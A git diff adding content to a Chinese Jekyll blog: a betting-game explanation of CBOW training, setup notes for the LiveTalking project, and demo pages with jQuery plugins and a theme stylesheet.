+直接输入数据就能模拟 **一次完整的训练过程**，连梯度下降都可视化。 + +你希望我帮你做这个模板吗？ diff --git a/_posts/2026-01-10-741-cbow.md b/_posts/2026-01-10-741-cbow.md new file mode 100644 index 0000000..0309b7c --- /dev/null +++ b/_posts/2026-01-10-741-cbow.md @@ -0,0 +1,179 @@ +--- +layout: post +title: CBOW +pid: 741 +tags: [ai] +--- + +# 场景设定 + +- 词表（可押选项）：`我`、`爱`、`吃`、`苹果` +- 上下文长度：2 +- 目标词：`吃` + +------ + +## **第一轮下注** + +### 线索词：`爱` + `苹果` + +- 脑子里综合感觉：有点动作的意思 +- 查经验表（初始随机）分钱： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 25 | +| 爱 | 25 | +| 吃 | 25 | +| 苹果 | 25 | + +> 💡 初始完全随机，没有任何经验 + +### 目标词反馈：`吃` + +- 你押给吃的钱太少（只有 25） +- 裁判说：**“吃押太少，下一次多押点；其它押多了，少押点”** + +### 调整经验表 + +- 吃：+10 → 35 +- 我：-5 → 20 +- 爱：-5 → 20 +- 苹果：-0 → 25 + +------ + +## **第二轮下注** + +### 线索词：`爱` + `苹果` + +- 综合感觉：动作 + 食物 +- 根据经验表分钱： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 20 | +| 爱 | 20 | +| 吃 | 35 | +| 苹果 | 25 | + +- 总押 = 100 +- 目标词：`吃` +- 裁判反馈： + - 吃押 35 还不够 → +10 + - 其它押多了 → -3、-2 + +### 调整经验表 + +| 词 | 调整后押的钱 | +| ---- | ------------ | +| 我 | 17 | +| 爱 | 18 | +| 吃 | 45 | +| 苹果 | 20 | + +------ + +## **第三轮下注** + +### 线索词：`我` + `苹果` + +- 综合感觉：动作 + 食物 +- 查经验表分钱： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 17 | +| 爱 | 18 | +| 吃 | 45 | +| 苹果 | 20 | + +- 目标词：`吃` +- 裁判反馈： + - 吃押 45 → +5 + - 其它押过了 → -2、-1 + +### 调整后： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 15 | +| 爱 | 17 | +| 吃 | 50 | +| 苹果 | 18 | + +------ + +## **第四轮下注** + +### 线索词：`爱` + `苹果` + +- 查经验表分钱： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 15 | +| 爱 | 17 | +| 吃 | 50 | +| 苹果 | 18 | + +- 目标词：`吃` +- 裁判反馈： + - 吃押 50 → +3 + - 其它押过 → -1、-1 + +### 调整后： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 14 | +| 爱 | 16 | +| 吃 | 53 | +| 苹果 | 17 | + +------ + +## **第五轮下注** + +### 线索词：`爱` + `苹果` + +- 查经验表分钱： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 14 | +| 爱 | 16 | +| 吃 | 53 | +| 苹果 | 17 | + +- 目标词：`吃` +- 裁判反馈： + - 吃押 53 → +2 + - 其它押过 → -1 + +### 调整后： + +| 词 | 押的钱 | +| ---- | ------ | +| 我 | 13 | +| 爱 | 15 | +| 吃 | 55 | +| 苹果 | 16 | + +------ + +## ✅ 总结这个多轮下注示例 + +1. 每一轮都是： + 1. **线索词 → 综合感觉 → 查经验表 → 分钱** + 2. **裁判反馈 → 调整经验表** +2. 经验表慢慢形成： + - 对特定上下文组合 → “吃”的押注越来越高 + - 但不会到 100，因为其它场景可能需要不同押法 +3. 通过**多轮、不同线索组合**的练习，模型（你脑里的下注系统）逐渐学会在各种上下文下押最合理的钱 + +------ + +如果你愿意，我可以帮你画一个**多轮下注流程图**，让这个循环可视化，用颜色和箭头表示押钱增加/减少的变化，这样你可以完全在脑子里看到 CBOW 的动态训练过程。 + +你想让我画吗？ diff --git a/_posts/2026-03-06-742-livetalking.md b/_posts/2026-03-06-742-livetalking.md new file mode 100644 index 0000000..944e5f8 --- /dev/null +++ b/_posts/2026-03-06-742-livetalking.md @@ -0,0 +1,55 @@ +--- +layout: post +title: LiveTalking +pid: 741 +tags: [ai, 数字人, ] +--- + +# Cuda download +https://developer.nvidia.com/cuda-downloads +https://developer.download.nvidia.com/compute/cuda/12.6.0/network_installers/cuda_12.6.0_windows_network.exe + +# Anaconda download +https://anaconda.com/app/ +https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ + + +https://blog.csdn.net/beautifulmemory/article/details/151933889 + +# Project Download +git clone https://gitee.com/lipku/LiveTalking.git + +不用翻墙 + +# Config conda +conda config --remove-key channels +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch3d +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/peterjc123 +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ +conda config --set show_channel_urls yes +conda clean -i +conda create -n ltalk python=3.10 + +# Pytorch Download +https://pytorch.org/get-started/locally/ +pip3 install torch torchvision --index-url https://download.pytorch.org/whl/cu126 +https://pytorch.org/get-started/previous-versions/ +pip install torch==2.9.1 torchvision==0.24.1 torchaudio==2.9.1 --index-url https://download.pytorch.org/whl/cu126 + + +conda install cudatoolkit + +pip install -r requirements.txt + + +夸克云盘https://pan.quark.cn/s/83a750323ef0 +GoogleDriver https://drive.google.com/drive/folders/1FOC_MD6wdogyyX_7V1d4NDIO7P9NlSAJ?usp=sharing +将wav2lip256.pth拷到本项目的models下, 重命名为wav2lip.pth; +将wav2lip256_avatar1.tar.gz解压后整个文件夹拷到本项目的data/avatars下 + + +运行 +python app.py --transport webrtc --model wav2lip --avatar_id wav2lip256_avatar1 diff --git a/archives.html b/archives.html new file mode 100644 index 0000000..066bab3 --- /dev/null +++ b/archives.html @@ -0,0 +1,34 @@ +--- +layout: page +title: 文章归档 +--- + +{% for post in site.posts %} + {% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %} + {% capture next_year %}{{ post.previous.date | date: "%Y" }}{% endcapture %} + + {% if forloop.first %} +
    +
  • {{this_year}}   +
      + {% endif %} + +
    • {{ post.date | date: "%m-%d" }} : {{ post.title }}
      • + + {% if forloop.last %} +
    +
    • +
+ {% else %} + {% if this_year != next_year %} + + + +
    +
  • {{next_year}}   +
      + {% endif %} + {% endif %} + + +{% endfor %} diff --git a/contact.html b/contact.html new file mode 100644 index 0000000..c74ab44 --- /dev/null +++ b/contact.html @@ -0,0 +1,38 @@ +--- +layout: page +title: 关于我 +comments: true +--- + +

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      diff --git a/demo/css3_brower_support/index.html b/demo/css3_brower_support/index.html new file mode 100644 index 0000000..e31637f --- /dev/null +++ b/demo/css3_brower_support/index.html @@ -0,0 +1,1282 @@ + + + + + + CSS3 Browser support + + +
      +

      Update Time:2012-10-4

      +

      Arrange:Vinntoe

      +

      Browser support

      +

      CSS3 is not yet a W3C standard, but all the major browsers are already +supporting many of the new features. Below is a reference off all the new CSS3 +properties and their browser support:

      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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      transition-delay4
      word-break583
      word-wrap53.6
      voice-balance
      voice-duration
      voice-pitch
      voice-pitch-range
      voice-rate
      voice-stress
      voice-volume
      +

      Icon Explanations

      + + + + + + +
      Supported by Internet Explorer
      Supported by Firefox
      Supported by Google Chrome
      Supported by Safari
      Supported by Opera
      +
      + + + + + + + +
      Supported by Internet Explorer with the prefix -ms-
      Supported by Firefox with the prefix -moz-
      Supported by Google Chrome with the prefix -webkit-
      Supported by Safari with the prefix -webkit-
      Supported by Opera with the prefix -o-
      Supported by Opera with the prefix -xv-
      +

      For some properties you see the browser icon and a number:

      + + + + + + + + +
      944510.5
      +

      The number indicates in which browser version the property was first supported.

      +
      + + \ No newline at end of file diff --git a/demo/css3_brower_support/w3c/bsChrome.gif b/demo/css3_brower_support/w3c/bsChrome.gif new file mode 100644 index 0000000..5c591b8 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsChrome.gif differ diff --git a/demo/css3_brower_support/w3c/bsFirefox.gif b/demo/css3_brower_support/w3c/bsFirefox.gif new file mode 100644 index 0000000..cb7af2f Binary files /dev/null and b/demo/css3_brower_support/w3c/bsFirefox.gif differ diff --git a/demo/css3_brower_support/w3c/bsIE.gif b/demo/css3_brower_support/w3c/bsIE.gif new file mode 100644 index 0000000..be3c589 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsIE.gif differ diff --git a/demo/css3_brower_support/w3c/bsOpera.gif b/demo/css3_brower_support/w3c/bsOpera.gif new file mode 100644 index 0000000..93401b2 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsOpera.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreChrome.gif b/demo/css3_brower_support/w3c/bsPreChrome.gif new file mode 100644 index 0000000..4c78242 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreChrome.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreFirefox.gif b/demo/css3_brower_support/w3c/bsPreFirefox.gif new file mode 100644 index 0000000..46abe94 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreFirefox.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreIE.gif b/demo/css3_brower_support/w3c/bsPreIE.gif new file mode 100644 index 0000000..a5cefb7 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreIE.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreOpera.gif b/demo/css3_brower_support/w3c/bsPreOpera.gif new file mode 100644 index 0000000..d30cb96 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreOpera.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreSafari.gif b/demo/css3_brower_support/w3c/bsPreSafari.gif new file mode 100644 index 0000000..8558954 Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreSafari.gif differ diff --git a/demo/css3_brower_support/w3c/bsPreXVOpera.gif b/demo/css3_brower_support/w3c/bsPreXVOpera.gif new file mode 100644 index 0000000..327462e Binary files /dev/null and b/demo/css3_brower_support/w3c/bsPreXVOpera.gif differ diff --git a/demo/css3_brower_support/w3c/bsSafari.gif b/demo/css3_brower_support/w3c/bsSafari.gif new file mode 100644 index 0000000..b8cf8fd Binary files /dev/null and b/demo/css3_brower_support/w3c/bsSafari.gif differ diff --git a/demo/google-guitar/google-guitar.htm b/demo/google-guitar/google-guitar.htm new file mode 100644 index 0000000..8e4cd5c --- /dev/null +++ b/demo/google-guitar/google-guitar.htm @@ -0,0 +1,95 @@ + + + +Google + + + + + +

      +
      + + + + +
      +
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      +
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      + +
      + +
      +两只老虎 ，按下键盘变成红色，在键盘上按下TYUT TYUT UIO UIO OPOIUT OPOIUT UWT UWT +
      小星星： 1155665 4433221 5544332 5544332 1155665 4433221 +
      爱情买卖： 3688368 77653 2226235 37753 3688368 00989 00989987 53566 +
      沧海一声笑： pouyt uytew wewetyuop ppouyty +
      欢乐颂：EERT TREW QQWE EWW EERT TREW QQWE WQQ +
      春江花月夜：H-HHK-LHG～G-G-H-KLD～D-SDG-DGH～KL-;-K-L;LKH-G～(-和～是长音) \ No newline at end of file diff --git a/demo/google-guitar/guitar.js b/demo/google-guitar/guitar.js new file mode 100644 index 0000000..2316c38 --- /dev/null +++ b/demo/google-guitar/guitar.js @@ -0,0 +1,174 @@ +(function(){!google.nocsixjs&&google.timers&&google.timers.load.t&&(google.timers.load.t.xjses=(new Date).getTime());})(); +(function(){var e={},f=!1,g=function(b,c,a){try{var d=e[c[a][0]];if(d&&d[b])d[b](c[a][1])}catch(m){google.ml(m,!1,{cause:"m"+b,index:a,mid:c[a]&&c[a][0]})}};if(google.mc&&google.j)for(var h=0,i;i=google.mc[h++];)if(i[0]==29){google.j.cfg=i[1];break}var j=null,k,l;function n(){var b=j.value;l=b?eval("("+b+")"):{}}google.med=function(b){if(google.mc){for(var c=google.mc.concat(google.smc||[]),a=0,d=c.length;a=0)google.mc[a][1]=c,n(),l[k]=google.mc,j.value=google.stringify(l)}};google.initHistory=function(){k=google.kEI;if(j=document.getElementById("hcache"))if(n(),l[k])google.mc=l[k]};})(); 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jQuery Cookie Plugin v1.3 + * https://github.com/carhartl/jquery-cookie + * + * Copyright 2011, Klaus Hartl + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://www.opensource.org/licenses/mit-license.php + * http://www.opensource.org/licenses/GPL-2.0 + */ +(function ($, document, undefined) { + + var pluses = /\+/g; + + function raw(s) { + return s; + } + + function decoded(s) { + return decodeURIComponent(s.replace(pluses, ' ')); + } + + var config = $.cookie = function (key, value, options) { + + // write + if (value !== undefined) { + options = $.extend({}, config.defaults, options); + + if (value === null) { + options.expires = -1; + } + + if (typeof options.expires === 'number') { + var days = options.expires, t = options.expires = new Date(); + t.setDate(t.getDate() + days); + } + + value = config.json ? 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jQuery.scrollTo + * @id jQuery.fn.scrollTo + * @param {String, Number, DOMElement, jQuery, Object} target Where to scroll the matched elements. + * The different options for target are: + * - A number position (will be applied to all axes). + * - A string position ('44', '100px', '+=90', etc ) will be applied to all axes + * - A jQuery/DOM element ( logically, child of the element to scroll ) + * - A string selector, that will be relative to the element to scroll ( 'li:eq(2)', etc ) + * - A hash { top:x, left:y }, x and y can be any kind of number/string like above. + * - A percentage of the container's dimension/s, for example: 50% to go to the middle. + * - The string 'max' for go-to-end. + * @param {Number, Function} duration The OVERALL length of the animation, this argument can be the settings object instead. + * @param {Object,Function} settings Optional set of settings or the onAfter callback. + * @option {String} axis Which axis must be scrolled, use 'x', 'y', 'xy' or 'yx'. + * @option {Number, Function} duration The OVERALL length of the animation. + * @option {String} easing The easing method for the animation. + * @option {Boolean} margin If true, the margin of the target element will be deducted from the final position. + * @option {Object, Number} offset Add/deduct from the end position. One number for both axes or { top:x, left:y }. + * @option {Object, Number} over Add/deduct the height/width multiplied by 'over', can be { top:x, left:y } when using both axes. + * @option {Boolean} queue If true, and both axis are given, the 2nd axis will only be animated after the first one ends. + * @option {Function} onAfter Function to be called after the scrolling ends. + * @option {Function} onAfterFirst If queuing is activated, this function will be called after the first scrolling ends. + * @return {jQuery} Returns the same jQuery object, for chaining. + * + * @desc Scroll to a fixed position + * @example $('div').scrollTo( 340 ); + * + * @desc Scroll relatively to the actual position + * @example $('div').scrollTo( '+=340px', { axis:'y' } ); + * + * @desc Scroll using a selector (relative to the scrolled element) + * @example $('div').scrollTo( 'p.paragraph:eq(2)', 500, { easing:'swing', queue:true, axis:'xy' } ); + * + * @desc Scroll to a DOM element (same for jQuery object) + * @example var second_child = document.getElementById('container').firstChild.nextSibling; + * $('#container').scrollTo( second_child, { duration:500, axis:'x', onAfter:function(){ + * alert('scrolled!!'); + * }}); + * + * @desc Scroll on both axes, to different values + * @example $('div').scrollTo( { top: 300, left:'+=200' }, { axis:'xy', offset:-20 } ); + */ + +;(function( $ ){ + + var $scrollTo = $.scrollTo = function( target, duration, settings ){ + $(window).scrollTo( target, duration, settings ); + }; + + $scrollTo.defaults = { + axis:'xy', + duration: parseFloat($.fn.jquery) >= 1.3 ? 0 : 1, + limit:true + }; + + // Returns the element that needs to be animated to scroll the window. + // Kept for backwards compatibility (specially for localScroll & serialScroll) + $scrollTo.window = function( scope ){ + return $(window)._scrollable(); + }; + + // Hack, hack, hack :) + // Returns the real elements to scroll (supports window/iframes, documents and regular nodes) + $.fn._scrollable = function(){ + return this.map(function(){ + var elem = this, + isWin = !elem.nodeName || $.inArray( elem.nodeName.toLowerCase(), ['iframe','#document','html','body'] ) != -1; + + if( !isWin ) + return elem; + + var doc = (elem.contentWindow || elem).document || elem.ownerDocument || elem; + + return /webkit/i.test(navigator.userAgent) || doc.compatMode == 'BackCompat' ? + doc.body : + doc.documentElement; + }); + }; + + $.fn.scrollTo = function( target, duration, settings ){ + if( typeof duration == 'object' ){ + settings = duration; + duration = 0; + } + if( typeof settings == 'function' ) + settings = { onAfter:settings }; + + if( target == 'max' ) + target = 9e9; + + settings = $.extend( {}, $scrollTo.defaults, settings ); + // Speed is still recognized for backwards compatibility + duration = duration || settings.duration; + // Make sure the settings are given right + settings.queue = settings.queue && settings.axis.length > 1; + + if( settings.queue ) + // Let's keep the overall duration + duration /= 2; + settings.offset = both( settings.offset ); + settings.over = both( settings.over ); + + return this._scrollable().each(function(){ + // Null target yields nothing, just like jQuery does + if (target == null) return; + + var elem = this, + $elem = $(elem), + targ = target, toff, attr = {}, + win = $elem.is('html,body'); + + switch( typeof targ ){ + // A number will pass the regex + case 'number': + case 'string': + if( /^([+-]=)?\d+(\.\d+)?(px|%)?$/.test(targ) ){ + targ = both( targ ); + // We are done + break; + } + // Relative selector, no break! + targ = $(targ,this); + if (!targ.length) return; + case 'object': + // DOMElement / jQuery + if( targ.is || targ.style ) + // Get the real position of the target + toff = (targ = $(targ)).offset(); + } + $.each( settings.axis.split(''), function( i, axis ){ + var Pos = axis == 'x' ? 'Left' : 'Top', + pos = Pos.toLowerCase(), + key = 'scroll' + Pos, + old = elem[key], + max = $scrollTo.max(elem, axis); + + if( toff ){// jQuery / DOMElement + attr[key] = toff[pos] + ( win ? 0 : old - $elem.offset()[pos] ); + + // If it's a dom element, reduce the margin + if( settings.margin ){ + attr[key] -= parseInt(targ.css('margin'+Pos)) || 0; + attr[key] -= parseInt(targ.css('border'+Pos+'Width')) || 0; + } + + attr[key] += settings.offset[pos] || 0; + + if( settings.over[pos] ) + // Scroll to a fraction of its width/height + attr[key] += targ[axis=='x'?'width':'height']() * settings.over[pos]; + }else{ + var val = targ[pos]; + // Handle percentage values + attr[key] = val.slice && val.slice(-1) == '%' ? + parseFloat(val) / 100 * max + : val; + } + + // Number or 'number' + if( settings.limit && /^\d+$/.test(attr[key]) ) + // Check the limits + attr[key] = attr[key] <= 0 ? 0 : Math.min( attr[key], max ); + + // Queueing axes + if( !i && settings.queue ){ + // Don't waste time animating, if there's no need. + if( old != attr[key] ) + // Intermediate animation + animate( settings.onAfterFirst ); + // Don't animate this axis again in the next iteration. + delete attr[key]; + } + }); + + animate( settings.onAfter ); + + function animate( callback ){ + $elem.animate( attr, duration, settings.easing, callback && function(){ + callback.call(this, target, settings); + }); + }; + + }).end(); + }; + + // Max scrolling position, works on quirks mode + // It only fails (not too badly) on IE, quirks mode. + $scrollTo.max = function( elem, axis ){ + var Dim = axis == 'x' ? 'Width' : 'Height', + scroll = 'scroll'+Dim; + + if( !$(elem).is('html,body') ) + return elem[scroll] - $(elem)[Dim.toLowerCase()](); + + var size = 'client' + Dim, + html = elem.ownerDocument.documentElement, + body = elem.ownerDocument.body; + + return Math.max( html[scroll], body[scroll] ) + - Math.min( html[size] , body[size] ); + }; + + function both( val ){ + return typeof val == 'object' ? val : { top:val, left:val }; + }; + +})( jQuery ); \ No newline at end of file diff --git a/static/style.css b/static/style.css new file mode 100644 index 0000000..fdc782c --- /dev/null +++ b/static/style.css @@ -0,0 +1,827 @@ +@charset "utf-8"; + +/************************* +Theme Name: iLotus +Author: 展新(pizner@gmail.com) +*************************/ + + +/************************* + * style font +*************************/ + +@font-face { + font-family: 'PT Serif'; + font-style: normal; + font-weight: 700; + src: local('PT Serif Bold'), local('PTSerif-Bold'), url(font/PTSerifBold.woff) format('woff'); +} + +@font-face { + font-family: 'PT Serif'; + font-style: italic; + font-weight: 400; + src: local('PT Serif Italic'), local('PTSerif-Italic'), url(font/PTSerifItalic.woff) format('woff'); +} + +@font-face { + font-family: 'PT Serif'; + font-style: normal; + font-weight: 400; + src: local('PT Serif'), local('PTSerif-Regular'), url(font/PTSerif.woff) format('woff'); +} + +/************************* + * reset style +*************************/ + +html { + color: #1F0909; + background: #f3f2ee; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} + +body, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, textarea, p, blockquote, th, td, hr, button, article, aside, details, figcaption, figure, footer, header, group, menu, nav, section { + margin: 0; + padding: 0; +} + +article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { + display: block; +} + +audio, canvas, video {display: inline-block; +} + +body, button, input, select, textarea { + font: 500 14px/1.8 'PT Serif', 'Hiragino Sans GB', sans-serif; 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